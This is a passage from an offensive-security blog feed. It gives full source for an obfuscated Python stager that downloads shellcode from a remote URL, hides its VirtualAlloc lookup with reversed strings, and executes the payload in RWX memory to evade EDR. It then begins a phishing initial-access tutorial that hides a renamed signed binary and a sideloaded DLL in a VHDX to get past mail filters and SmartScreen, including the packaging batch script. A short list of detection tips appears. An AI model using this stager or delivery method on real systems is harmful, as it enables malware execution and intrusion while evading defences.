<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] RWX page @ 0x</span><span class="si">{</span><span class="n">page</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span> <span class="k">if</span> <span class="n">page</span> <span class="k">else</span> <span class="sa">f</span><span class="sh">"</span><span class="s">[-] failed (GLE=</span><span class="si">{</span><span class="n">k32</span><span class="p">.</span><span class="nc">GetLastError</span><span class="p">()</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">page</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[+] allocated!</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<p>Finally, call the copy and execute functions:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># ── execution ─────────────────────────────────────────────────────────────────────
</span><span class="n">scode</span> <span class="o">=</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">SCODE_U</span><span class="p">)</span>
<span class="k">if</span> <span class="n">scode</span><span class="p">:</span>
    <span class="c1"># page = your VAlloc result from earlier
</span>    <span class="k">if</span> <span class="nf">copy_to_page</span><span class="p">(</span><span class="n">page</span><span class="p">,</span> <span class="n">scode</span><span class="p">):</span>
        <span class="nf">exec_page</span><span class="p">(</span><span class="n">page</span><span class="p">)</span>
        
    <span class="c1"># ── cleanup (only reached if shellcode returns) ───────────────────────────────
</span>    <span class="n">k32</span><span class="p">.</span><span class="nc">VirtualFree</span><span class="p">(</span><span class="n">ctypes</span><span class="p">.</span><span class="nf">c_void_p</span><span class="p">(</span><span class="n">page</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x8000</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[*] freed</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>Here’s a sneak preview of the finished product:</strong></p>

<p><img width="732" height="232" alt="image" src="https://github.com/user-attachments/assets/0cfcda18-86f3-47a5-91b7-65f911c16b34" /></p>

<p><img width="673" height="228" alt="image" src="https://github.com/user-attachments/assets/0535905c-9521-4137-8cb8-918135adb93f" /></p>

<p><strong>VirusTotal Results 💊</strong></p>

<p><strong>Hash: 6c2a91f23724a8605312bff1d629f92a7a88e78d947e79da5e403338f4eefeb6</strong></p>

<p><a href="https://www.virustotal.com/gui/file/6c2a91f23724a8605312bff1d629f92a7a88e78d947e79da5e403338f4eefeb6">https://www.virustotal.com/gui/file/6c2a91f23724a8605312bff1d629f92a7a88e78d947e79da5e403338f4eefeb6</a></p>

<p><img width="1717" height="765" alt="image" src="https://github.com/user-attachments/assets/8cd1a555-aa50-4539-bcde-ca5bc1ee5506" /></p>

<blockquote>
  <p><strong>And the full source code for FUD variant #2:</strong></p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#6c2a91f23724a8605312bff1d629f92a7a88e78d947e79da5e403338f4eefeb6
</span>
<span class="kn">import</span> <span class="n">ctypes</span><span class="p">,</span> <span class="n">sys</span><span class="p">,</span> <span class="n">os</span>
<span class="kn">import</span> <span class="n">requests</span>

<span class="k">try</span><span class="p">:</span>
    <span class="kn">import</span> <span class="n">pefile</span>
<span class="k">except</span> <span class="nb">ImportError</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">pip install pefile</span><span class="sh">"</span><span class="p">);</span> <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

<span class="n">SCODE_U</span> <span class="o">=</span> <span class="sh">"</span><span class="s">onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth</span><span class="sh">"</span>
<span class="n">SCODE_U</span> <span class="o">=</span> <span class="n">SCODE_U</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">stream</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        <span class="n">response</span><span class="p">.</span><span class="nf">raise_for_status</span><span class="p">()</span>
        <span class="n">shel_ly</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="nf">iter_content</span><span class="p">(</span><span class="n">chunk_size</span><span class="o">=</span><span class="mi">4096</span><span class="p">))</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Downloaded </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">shel_ly</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">shel_ly</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Download failed: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">);</span> <span class="k">return</span> <span class="bp">None</span>

<span class="k">def</span> <span class="nf">copy_to_page</span><span class="p">(</span><span class="n">page</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">scode</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
    <span class="sh">"""</span><span class="s">Copy scode bytes into the RWX page via ctypes.memmove.</span><span class="sh">"""</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">page</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[-] Invalid page address</span><span class="sh">"</span><span class="p">);</span> <span class="k">return</span> <span class="bp">False</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mh">0x1000</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Scode too large (</span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span><span class="si">}</span><span class="s"> &gt; 0x1000)</span><span class="sh">"</span><span class="p">);</span> <span class="k">return</span> <span class="bp">False</span>

    <span class="c1"># memmove(dst, src, count)
</span>    <span class="c1"># dst = raw integer address of our RWX page
</span>    <span class="c1"># src = scode bytes (ctypes accepts bytes directly as src)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="nf">memmove</span><span class="p">(</span><span class="n">page</span><span class="p">,</span> <span class="n">scode</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">))</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Copied </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes → 0x</span><span class="si">{</span><span class="n">page</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">return</span> <span class="bp">True</span>

<span class="k">def</span> <span class="nf">exec_page</span><span class="p">(</span><span class="n">page</span><span class="p">:</span> <span class="nb">int</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Cast the page to a void(*)(void) and call it.</span><span class="sh">"""</span>
    <span class="n">thunk</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="nc">WINFUNCTYPE</span><span class="p">(</span><span class="bp">None</span><span class="p">)(</span><span class="n">page</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Executing scode @ 0x</span><span class="si">{</span><span class="n">page</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="nf">thunk</span><span class="p">()</span>

<span class="n">ver</span>      <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">version_info</span>
<span class="n">dll_name</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">python</span><span class="si">{</span><span class="n">ver</span><span class="p">.</span><span class="n">major</span><span class="si">}{</span><span class="n">ver</span><span class="p">.</span><span class="n">minor</span><span class="si">}</span><span class="s">.dll</span><span class="sh">"</span>
<span class="n">dll_path</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">dirname</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">executable</span><span class="p">),</span> <span class="n">dll_name</span><span class="p">)</span>

<span class="n">k32</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">kernel32</span>
<span class="n">k32</span><span class="p">.</span><span class="n">GetModuleHandleW</span><span class="p">.</span><span class="n">restype</span>  <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span>     
<span class="n">k32</span><span class="p">.</span><span class="n">GetModuleHandleW</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span><span class="n">ctypes</span><span class="p">.</span><span class="n">c_wchar_p</span><span class="p">]</span>
<span class="n">base</span> <span class="o">=</span> <span class="n">k32</span><span class="p">.</span><span class="nc">GetModuleHandleW</span><span class="p">(</span><span class="n">dll_name</span><span class="p">)</span>
<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[*] </span><span class="si">{</span><span class="n">dll_name</span><span class="si">}</span><span class="s"> @ 0x</span><span class="si">{</span><span class="n">base</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

<span class="n">pe</span> <span class="o">=</span> <span class="n">pefile</span><span class="p">.</span><span class="nc">PE</span><span class="p">(</span><span class="n">dll_path</span><span class="p">,</span> <span class="n">fast_load</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">pe</span><span class="p">.</span><span class="nf">parse_data_directories</span><span class="p">()</span>

<span class="n">memprep</span><span class="o">=</span><span class="sa">b</span><span class="sh">"</span><span class="s">collAlautriV</span><span class="sh">"</span>
<span class="n">va_va</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">entry</span> <span class="ow">in</span> <span class="n">pe</span><span class="p">.</span><span class="n">DIRECTORY_ENTRY_IMPORT</span><span class="p">:</span>
    <span class="k">if</span> <span class="sa">b</span><span class="sh">'</span><span class="s">kernel32</span><span class="sh">'</span> <span class="ow">in</span> <span class="n">entry</span><span class="p">.</span><span class="n">dll</span><span class="p">.</span><span class="nf">lower</span><span class="p">():</span>
        <span class="k">for</span> <span class="n">imp</span> <span class="ow">in</span> <span class="n">entry</span><span class="p">.</span><span class="n">imports</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">imp</span><span class="p">.</span><span class="n">name</span> <span class="o">==</span> <span class="n">memprep</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]:</span>
                <span class="n">slot</span>  <span class="o">=</span> <span class="n">base</span> <span class="o">+</span> <span class="n">imp</span><span class="p">.</span><span class="n">address</span> <span class="o">-</span> <span class="n">pe</span><span class="p">.</span><span class="n">OPTIONAL_HEADER</span><span class="p">.</span><span class="n">ImageBase</span>
                <span class="n">va_va</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint64</span><span class="p">.</span><span class="nf">from_address</span><span class="p">(</span><span class="n">slot</span><span class="p">).</span><span class="n">value</span>
                <span class="k">break</span>

<span class="k">if</span> <span class="ow">not</span> <span class="n">va_va</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[-] collAlautriV not found in IAT</span><span class="sh">"</span><span class="p">);</span> <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] collAlautriV @ 0x</span><span class="si">{</span><span class="n">va_va</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

<span class="n">MemoryAllocator</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="nc">WINFUNCTYPE</span><span class="p">(</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint32</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint32</span>
<span class="p">)(</span><span class="n">va_va</span><span class="p">)</span>

<span class="n">page</span> <span class="o">=</span> <span class="nc">MemoryAllocator</span><span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="mh">0x3000</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">)</span>
<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] RWX page @ 0x</span><span class="si">{</span><span class="n">page</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span> <span class="k">if</span> <span class="n">page</span> <span class="k">else</span> <span class="sa">f</span><span class="sh">"</span><span class="s">[-] failed (GLE=</span><span class="si">{</span><span class="n">k32</span><span class="p">.</span><span class="nc">GetLastError</span><span class="p">()</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">page</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[+] allocated!</span><span class="sh">"</span><span class="p">)</span>

<span class="c1"># ── execution ─────────────────────────────────────────────────────────────────────
</span><span class="n">scode</span> <span class="o">=</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">SCODE_U</span><span class="p">)</span>
<span class="k">if</span> <span class="n">scode</span><span class="p">:</span>
    <span class="c1"># page = your VAlloc result from earlier
</span>    <span class="k">if</span> <span class="nf">copy_to_page</span><span class="p">(</span><span class="n">page</span><span class="p">,</span> <span class="n">scode</span><span class="p">):</span>
        <span class="nf">exec_page</span><span class="p">(</span><span class="n">page</span><span class="p">)</span>
        
    <span class="c1"># ── cleanup (only reached if shellcode returns) ───────────────────────────────
</span>    <span class="n">k32</span><span class="p">.</span><span class="nc">VirtualFree</span><span class="p">(</span><span class="n">ctypes</span><span class="p">.</span><span class="nf">c_void_p</span><span class="p">(</span><span class="n">page</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x8000</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[*] freed</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="bonus-content-for-members-all-membership-tiers"><strong><em>Bonus Content for Members! (All Membership Tiers)</em></strong></h2>

<p>📹 In-Depth Video/Audio Walkthrough for today’s blog post: <a href="https://ko-fi.com/s/3e9d57ce10">In-Depth Video Walkthrough</a></p>

<p>🗒️ Packaged .zip file containing portable python + Source Code to go with the Video: <a href="https://ko-fi.com/s/3e9d57ce10">Portable Python + code</a></p>

<p>🛡️ <strong>Dynamic Analysis Detection Tips</strong> 🛡️</p>

<ul>
  <li>Flag <code class="language-plaintext highlighter-rouge">python.exe</code> when allocating RWX memory at runtime.  I’d say most legitimate Python workloads almost never do this 😆</li>
  <li>ETW Microsoft-Windows-Threat-Intelligence provider alerts on ALLOCVM events with execute permissions from interpreter processes</li>
  <li>Detect execution originating from private, non-image-backed memory regions</li>
  <li>Alert on python.exe making outbound network connections followed by memory allocation and execution in the same process lifetime</li>
  <li>Monitor for python-requests User-Agent strings</li>
  <li>Flag <code class="language-plaintext highlighter-rouge">NtAllocateVirtualMemory</code> and/or <code class="language-plaintext highlighter-rouge">NtCreateThreadEx</code> calls from python interpreter processes.  Honestly, NT API usage from Python is highly anomalous</li>
  <li>Sandbox detonation of unknown .py files with full API call tracing — reversed strings unwind at runtime and become visible in dynamic traces even when invisible statically</li>
  <li>Alert on python.exe with no parent console or GUI context making network calls</li>
  <li>Detect pefile import activity at runtime.  Parsing a PE from within a running Python process is unusual behavior outside of explicit reverse engineering tooling</li>
  <li>Memory scanning on execute-permission regions mid-execution.  Shellcode signatures that evade static scanning are often detectable in-memory after decoding</li>
</ul>

<p>And that’s a wrap folks!  Thanks and see you on the next blog post!</p>

<p>~G3tSyst3m</p>

<div style="text-align: right;">
  
<b>Sponsored By:</b><br />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/anyrun.png" />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/vector35.png" />

</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="FUD" /><category term="Initial Access" /><category term="Python" /><category term="IAT" /><category term="download and exec" /><category term="FUD" /><category term="Stager" /><category term="Pentesting Payload" /><category term="2026" /><category term="g3tsyst3m" /><category term="Initial Foothold" /><summary type="html"><![CDATA[I have had several discussions over the years with folks on tackling EDR bypass as it pertains to fully undetected (FUD) code. In my opinion, there isn’t really a perfect silver bullet approach to tackling FUD. Especially with ML (machine learning) / AI integrated in most modern EDR solutions, you really have to adjust your approach to FUD as you go. I will say that I truly believe script interpreter type languages such as Python, Ruby, Perl, even PHP, are great candidates to meet this need. Scripting languages are not heavily scrutinized when we’re comparing with compiled (PE executable) code. Now I can already hear the disgruntled offsec folks questioning my rationale when they have tried countless times to make their powershell and javascript/vbscript code into FUD worthy code. I get it and I’m with you. It’s not a one size fits all right? Powershell, while also a script interpreter type language, has been so abused by threat actors that it’s incredibly difficult to tackle FUD due to its prolific use in malicious campaigns, but it’s certainly not impossible. Let’s get to it!]]></summary></entry><entry><title type="html">Gaining Initial Access and Outsmarting SmartScreen</title><link href="https://g3tsyst3m.com/initial%20access/Gaining-Initial-Access-and-Outsmarting-SmartScreen/" rel="alternate" type="text/html" title="Gaining Initial Access and Outsmarting SmartScreen" /><published>2026-02-21T00:00:00+00:00</published><updated>2026-02-21T00:00:00+00:00</updated><id>https://g3tsyst3m.com/initial%20access/Gaining%20Initial%20Access%20and%20Outsmarting%20SmartScreen</id><content type="html" xml:base="https://g3tsyst3m.com/initial%20access/Gaining-Initial-Access-and-Outsmarting-SmartScreen/"><![CDATA[<p>I’ve had a number of people ask me what approaches I have taken to secure that initial foothold on a machine/network during a pentest engagement.  Well, the blunt and honest answer to that question is…it depends 😸  Initial access comes in many forms and depending on the type of pentest engagement, you will be afforded or NOT afforded various types of “lures” you can use to acquire that first foothold.  Most clients are open to the pentest team exhausting all their resources and offensive tooling to truly assess the client’s security controls.  If not they should be.  Because in a real world attack, you better believe the threat actor will not hold back!  In today’s post, I’ll be going over a very traditional approach to achieving initial access using email as our attack vector of choice.  I’ll go over various ways to send the email (gui and non-gui) and using attachments versus links.  I’ll also explain how to contend with MOTW (Mark of the Web) and SmartScreen security restrictions on your downloaded payloads for the modern Windows 11 environment.</p>

<p>Speaking of MOTW, <strong>Spoiler Alert</strong>: We’ll be using a cool trick I learned a while back where you use a known trusted executable to bypass MOTW and also use DLL sideloading to further amplify our evasive strategy.  Let’s do it to it!</p>

<h2 id="the-lay-of-the-land">The Lay of the Land</h2>

<p>In our scenario, let’s assume we’re only provided the company directory which includes their phone and email address.  We’re permitted to use any means necessary of compromising a machine and so forth, but the information we’re starting with is limited.  Like I mentioned earlier, I’ll be resorting to email for our attack vector to work toward our goal of initial access/initial foothold into the organization.  I could go the whole social engineering route and text/call someone at the company, but that won’t be a part of this exercise 😼  Let me give you a tour of our toolkit arsenal.</p>

<h2 id="using-gmails-web-frontend-and-testing-attachment-types">Using Gmail’s Web Frontend and Testing Attachment Types</h2>

<blockquote>
  <p><strong>Test attachment #1: .zip attachment with 1 exectuble and 1 DLL inside</strong></p>
</blockquote>

<p>Gmail is <strong>VERY</strong> tempermental with attachments, and rightly so.  Threat actors have successfully leveraged email attachments as the primary vehicle for payload transport to the victim for years.  So let’s see what we’re up against.  We will try a basic <strong>.zip</strong> attachment with an executable and <strong>DLL</strong> file.  The executable is a digitally signed Microsoft executable (<code class="language-plaintext highlighter-rouge">ApplicationFrameHost.exe</code> just renamed by me to something else) and the DLL is a DLL we will be sideloading later. Mwuahahahhhahha!  But here’s the deal, the executable is literally the same as the one in <strong>System32</strong>.  I just renamed it.  let’s see what happens:</p>

<p><img width="749" height="278" alt="image" src="https://github.com/user-attachments/assets/3d179766-3872-48c7-9cf9-638c71964a69" /></p>

<p><img width="765" height="41" alt="image" src="https://github.com/user-attachments/assets/aac87a8a-b2ff-4e24-b76e-bce0feff8a8b" /></p>

<p><img width="1610" height="762" alt="image" src="https://github.com/user-attachments/assets/983a29fd-5676-4506-9f33-cd69e66ff395" /></p>

<p><img width="685" height="630" alt="image" src="https://github.com/user-attachments/assets/3337fe7b-2f5f-4196-abae-a0b6fcb03487" /></p>

<p>Okay so as you likely already have surmised, we failed to get beyond Gmail’s initial security filters.</p>

<p><strong>Spoiler alert…again 😸</strong>: It’s largely due to the executable.  It doesn’t matter what executable we use, signed, unsigned, zipped, not zipped, you name it.  It will likely get flagged.</p>

<p>You may also think,”<strong>But wait, why not use Proton mail to send it instead?  Or some other email client less well known, etc?</strong>”  Sure.  You absolutely can, but then you run into another issue.  The receiving user’s email client will also scrutinize the attachment to see if it checks out.  So for all intents and purposes, let’s just go off the assumption that if it works in gmail and permits us to upload it, then the receiving client’s email security will also likely let it pass through.  In my case, I’ll be sending from Gmail to my Outlook account.</p>

<blockquote>
  <p><strong>Test attachment #2: .zip attachment that includes a VHDX (Hard Disk Image File) with the exact same contents (I’ll show you how to generate this shortly I promise 😸)</strong></p>
</blockquote>

<p><img width="866" height="77" alt="image" src="https://github.com/user-attachments/assets/7a151013-b7cf-4373-bd7f-0b300ad990cd" /></p>

<p>Notice the file size!  Pretty large huh?  We can get around that by compressing it into a <strong>.zip</strong> file which we had already planned to do anyways!</p>

<p>Here’s inside the <strong>zip</strong> file:</p>

<p><img width="932" height="227" alt="image" src="https://github.com/user-attachments/assets/641e6fc7-b0ec-4a5a-b488-94d72e12d98e" /></p>

<p>And now going inside the <strong>VHDX</strong> file:</p>

<p><img width="780" height="246" alt="image" src="https://github.com/user-attachments/assets/c03d0ab6-9288-4a25-8e3c-0fb3cec6471b" /></p>

<p>Double clicking on the <strong>VHDX</strong> file will also treat this file as a <code class="language-plaintext highlighter-rouge">mountable drive</code>.</p>

<p><img width="677" height="360" alt="image" src="https://github.com/user-attachments/assets/f38cf05e-5b15-496a-9ada-d8c75ced27c1" /></p>

<p>Now the moment we’ve all been waiting for…uploading it to our email to see if it is accepted or flagged:</p>

<p><img width="675" height="631" alt="image" src="https://github.com/user-attachments/assets/95828dc3-5689-4782-a830-cc89d1394620" /></p>

<p><strong>AND…………………….BINGO!!!!</strong></p>

<p><img width="671" height="628" alt="image" src="https://github.com/user-attachments/assets/ec68d918-1849-481c-b602-c37b2fe3b17b" /></p>

<p>That time we didn’t run into any issues.  Phew!</p>

<p>Okay, so that’s one approach you can take to prep your payload.  This can go a number of ways of course.  You could have used a .ps1 script or py-to-exe executable, .hta script, .vbs, and so on.  You get the idea.  The primary key is to “cloak” your scripts inside a virtual disk file.  I’ve tried <strong>.iso</strong> and <strong>.img</strong> and those get flagged more often than I’d like.  The only consistent way I’ve found to include an attachment and it not get flagged is through the use of <code class="language-plaintext highlighter-rouge">.VHDX</code> files.  Here’s the script I used to package this btw.  It needs to be ran as Administrator to create the <code class="language-plaintext highlighter-rouge">.VHDX</code> file.</p>

<p><del>It does <strong>NOT</strong> need admin rights to mount/open it as a user.</del> <strong>&lt;– Revision 3/29/2026</strong>: This is incorrect.  You need to be a member of the local administrators group for this to work.  Thank you to the kind and responsible reader who pointed this out to me!</p>

<ul>
  <li><strong>VHD_PATH</strong> is the output file</li>
  <li><strong>EXE_TO_COPY</strong> is the executable you wish to add to the VHDX</li>
  <li><strong>SCRIPT_TO_COPY</strong> is the script you’d like to add to the VHDX</li>
</ul>

<p>and so on…</p>

<p>You can add as many variables as you like.  Okay the script!  See below:</p>

<div class="language-bat highlighter-rouge"><div class="highlight"><pre class="highlight"><code>@echo <span class="na">off</span>
<span class="nb">setlocal</span> <span class="na">enabledelayedexpansion</span>

<span class="kd">set</span> <span class="kd">VHD_PATH</span><span class="o">=</span><span class="kd">C</span>:\Temp\DocumentUpdate.vhdx
<span class="kd">set</span> <span class="kd">VHD_SIZE_MB</span><span class="o">=</span><span class="m">64</span>
<span class="kd">set</span> <span class="kd">EXE_TO_COPY</span><span class="o">=</span><span class="kd">C</span>:\Temp\DocumentRetrieval.exe
<span class="kd">set</span> <span class="kd">SCRIPT_TO_COPY</span><span class="o">=</span><span class="kd">C</span>:\Temp\UMPDC.dll

<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Creating</span> <span class="m">1</span><span class="kd">GB</span> <span class="kd">VHDX</span>...
<span class="o">(</span>
<span class="nb">echo</span> <span class="kd">create</span> <span class="kd">vdisk</span> <span class="kd">file</span><span class="o">=</span><span class="s2">"</span><span class="nv">%VHD_PATH%</span><span class="s2">"</span> <span class="kd">maximum</span><span class="o">=</span><span class="nv">%VHD_SIZE_MB%</span> <span class="nb">type</span><span class="o">=</span><span class="kd">expandable</span>
<span class="nb">echo</span> <span class="kd">select</span> <span class="kd">vdisk</span> <span class="kd">file</span><span class="o">=</span><span class="s2">"</span><span class="nv">%VHD_PATH%</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="kd">attach</span> <span class="kd">vdisk</span>
<span class="nb">echo</span> <span class="kd">create</span> <span class="kd">partition</span> <span class="kd">primary</span>
<span class="nb">echo</span> <span class="nb">format</span> <span class="kd">fs</span><span class="o">=</span><span class="kd">ntfs</span> <span class="nb">label</span><span class="o">=</span><span class="s2">"Documents2026"</span> <span class="kd">quick</span>
<span class="nb">echo</span> <span class="kd">assign</span> <span class="kd">letter</span><span class="o">=</span><span class="kd">X</span>
<span class="o">)</span> <span class="o">|</span> <span class="nb">diskpart</span> <span class="o">&gt;</span> <span class="kr">nul</span> <span class="m">2</span><span class="o">&gt;&amp;</span><span class="m">1</span>

<span class="c">REM Detect actual letter if X taken</span>
<span class="k">for</span> <span class="vm">%%d</span> <span class="k">in</span> <span class="o">(</span><span class="kd">X</span> <span class="kd">Y</span> <span class="kd">Z</span> <span class="kd">W</span> <span class="kd">V</span> <span class="kd">U</span> <span class="kd">T</span> <span class="kd">S</span> <span class="kd">R</span> <span class="kd">Q</span> <span class="kd">P</span> <span class="kd">O</span> <span class="kd">N</span> <span class="kd">M</span> <span class="kd">L</span> <span class="kd">K</span> <span class="kd">J</span> <span class="kd">I</span> <span class="kd">H</span> <span class="kd">G</span> <span class="kd">F</span> <span class="kd">E</span> <span class="kd">D</span> <span class="kd">C</span> <span class="kd">B</span> <span class="kd">A</span><span class="o">)</span> <span class="k">do</span> <span class="o">(</span>
    <span class="k">if</span> <span class="ow">exist</span> <span class="vm">%%d</span>:\ <span class="o">(</span>
        <span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Drive</span> <span class="vm">%%d</span>: <span class="kd">available</span><span class="o">?</span> <span class="kd">No</span>.
    <span class="o">)</span> <span class="k">else</span> <span class="o">(</span>
        <span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Assigning</span> <span class="vm">%%d</span>:
        <span class="nb">echo</span> <span class="kd">select</span> <span class="kd">disk</span> <span class="nv">!disknum!</span>
        <span class="nb">echo</span> <span class="kd">select</span> <span class="kd">partition</span> <span class="m">1</span>
        <span class="nb">echo</span> <span class="kd">assign</span> <span class="kd">letter</span><span class="o">=</span><span class="vm">%%d</span>
        <span class="o">)</span> <span class="o">|</span> <span class="nb">diskpart</span> <span class="o">&gt;</span> <span class="kr">nul</span> <span class="m">2</span><span class="o">&gt;&amp;</span><span class="m">1</span>
        <span class="kd">set</span> <span class="kd">DRIVE_LETTER</span><span class="o">=</span><span class="vm">%%d</span>
        <span class="k">goto</span> <span class="nl">:copy</span>
    <span class="o">)</span>
<span class="o">)</span>

<span class="nl">:copy</span>

<span class="nb">copy</span> <span class="s2">"</span><span class="nv">%EXE_TO_COPY%</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">%DRIVE_LETTER%</span><span class="s2">:\"</span>
<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Copied</span> <span class="kd">to</span> <span class="nv">%DRIVE_LETTER%</span>:\

<span class="nb">copy</span> <span class="s2">"</span><span class="nv">%SCRIPT_TO_COPY%</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">%DRIVE_LETTER%</span><span class="s2">:\"</span>
<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Copied</span> <span class="kd">to</span> <span class="nv">%DRIVE_LETTER%</span>:\

